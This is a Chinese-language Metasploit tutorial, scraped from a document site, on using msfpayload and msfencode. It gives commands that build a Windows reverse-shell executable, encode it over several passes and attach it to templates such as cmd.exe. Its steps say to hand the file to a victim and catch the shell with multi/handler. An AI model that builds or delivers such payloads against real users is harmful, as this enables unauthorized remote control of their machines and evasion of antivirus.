文档库

最新最全的文档下载
当前位置:文档库 > Metasploit教程msfpayload和msfencode

Metasploit教程msfpayload和msfencode

网上说用msfpayload 生成什么注入进程什么攻击后门,后边的注入进程是吓唬人的,就是一种进程隐藏技术不理解没关系(解释一下:进程注入是指将可恶意的可执行代码注入到一个已经运行的进程一般是合法系统进程,达到来隐藏自身的目的。

msfpayload 这个工具主要的功能就是将Metasploit 中的payloads(工具载荷)包装成一个可执行的文件,或者包装成指定的类型,msfpayload可以将包装好的数据输出,默认的输出设备为终端(就是那个打开的黑窗口)。直接输出到终端上有可能输出乱码,其实这不是乱码,当数据被输出到终端是使用的是二进制,而终端显示的是二进制对应字符。也可以指定输出到其他地方,例如网上的例子大部分是msfpayload windows/shell/reverse_tcp X >/root/test.exe 这一句的那个大于号“>"是个重定向符,无论是linux 下还是windows下重定向符有两种一种是> 另一种是>> ,第一种的作用是输出到后边指定的文件中如果文件存在则覆盖文件中的内容,另一种是如果文件存在则将数据追加文件末尾的。也可以使用管道符号管道符号位”|“ 不包括双引号,意思是前边的程序输出的数据通过这个管道输出到后边的程序中。msfpayload windows/shell/reverse_tcp LHOST=127.0.0.1 R | msfencode -t exe -o /root/testss*e 这个例子中就使用了管道符来传送数据。

msfencode 这个工具主要的功能是对输入过来的数据进行编码(http://www.wendangku.net/doc/8475f21a16fc700abb68fc6d.html 如果不指定编码方式则使用默认编码方式)。然后将编码后的数据包装成一个指定的课执行的文件,或者将数据附着到一个指定的已存在的文件上。

msfencode 输出数据的方式和msfpayload一样,如果没有指定输出方式则默认输出到屏幕,msfencode 可以使用重定向符(之前已经说过了)来输出数据到文件,或者使用自带的-o 参数来指定文件。msfencode 编码的数据来源可以是管道传送过来的数据也可以是使用-i 参数指定的数据文件。

msfencode 的-i 所指定的数据文件一般来说不能使一个完整的可执行文件,msfencode -i notpad.exe -t exe -x cmd -t exe -o cmdnotpad。exe 这句话愿意是将notpad。exe 使用默认编码附着到cmd.exe 下输出为cmdnotpad.exe ,这样做可以可以输出cmdnotpad.exe文件,但不能运行,我猜测msfencode只对原始数据进行编码,而原始数据可以使用msfpayload 最后指定一个R 参数来获取,网上没找到相关的说明,有找到的说一声,这些都是我的猜测希望是正确的。

就是说msfencode 不能对任意文件进行编码。

下面分别看一下msfpayload 和msfencode 的帮助

msfpayload 的帮助相对简单

Usage: /opt/metasploit/msf3/msfpayload [] [var=val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]*]e|[D]ll|[V]BA|[W]ar>

OPTIONS:

-h Help banner

-l List available payloads

致青春电影完整版http://www.wendangku.net/doc/8475f21a16fc700abb68fc6d.html

msfpayload 的使用方法msfpayload payload var=val specifyformate 解释:msfpayload后边跟payload ,var=val表示payload要设置的变量比如LHOST=ip specifyformate 指定输出的格式输出格式在帮助文档中已经说明了<[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]*]e|[D]ll|[V]BA|[W]ar> 输出语言格式使用一个字母代表一种语言格式。

msfpayload 使用的步骤:

一msfpayload -l 列出可供选择的payload

二msfpayload payload-name O 后边跟的是一个大写的O 查看payload 的要设置的参数

三设置参数生成文件如果需要编码则用msfencode进行编码,例如msfpayload windows/shell/reverse_tcp LHOST=127.0.0.1 X >/root/a.exe

四将生成的a.exe 传到网上或给受害者

五启动msfconsole 然后use exploits/multi/handler 然后set PAYLOAD

windows/shell/reverse_tcp 这里payload 要设置成跟前边的一样,参数也要一样set LHOST 127.0.0.1 (真实情况下肯定不是这个ip)然后exploit 等待用户执行a.exe

msfencode 的帮助要相对复杂一点

OPTIONS:

-a The architecture to encode as

-b The list of characters to avoid: '\x00\xff'

-c The number of times to encode the data

-d Specify the directory in which to look for EXE templates

-e The encoder to use

-h Help banner

-i Encode the contents of the supplied file path

-k Keep template working; run payload in new thread (use with -x)

-l List available encoders

-m Specifies an additional module search path

-n Dump encoder information

-o The output file

-p The platform to encode for

-s The maximum size of the encoded data

-t The output format: raw,ruby,rb,perl,pl,bash,sh,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vba-exe,vbs,l oop-vbs,asp,war

-v Increase verbosity

-x Specify an alternate executable template

其中,参数-i 指定需要编码的文件(或程序段),

-a 指定CPU 的类型,

-b 指定需要去除的字符,帮助中的示例00 ff 这两种数值在网络传送中会被截断造成传送失败

-c 指定编码次数,

-d 指定exe模板搜索路径,

-i 指定要编码的数据文件

-k 设置生成的文件运行后的payload进程与模板文件进程分离。

-l 列出可用payload

-n 输出编码器信息

-o 输出文件

-p 指定编码平台linux or windows

-s 指定编码后的字节数(payload的)

-t 生成文件类型

msfencode 使用步骤

首先获取要编码的数据一般来说用msfpayload 来生成test.raw

然后msfencode -l 列出编码

最后编码并生成文件msfencode -i test.raw -e encoder(编码器) -c 5 (编码次数自己制定) -t exe(也可以是其他类型的) -o a.exe

如果要对数据使用多种编码器进行编码则除了最后一个编码器输出的数据类型为可执行的外之前的必须为raw (原始数据类型)

例子

msfencode -i test.raw -e encoder1 -c 5 -t raw | msfencode -e encoder2 -c 3 -t exe -o a.exe 如果理解了前面介绍的管道和msfencode所能编码的数据格式,自己就能推出来如何进行多次编码。最后说一下msfencode 只是针对payload 进行的编码并未对文件模板进行编码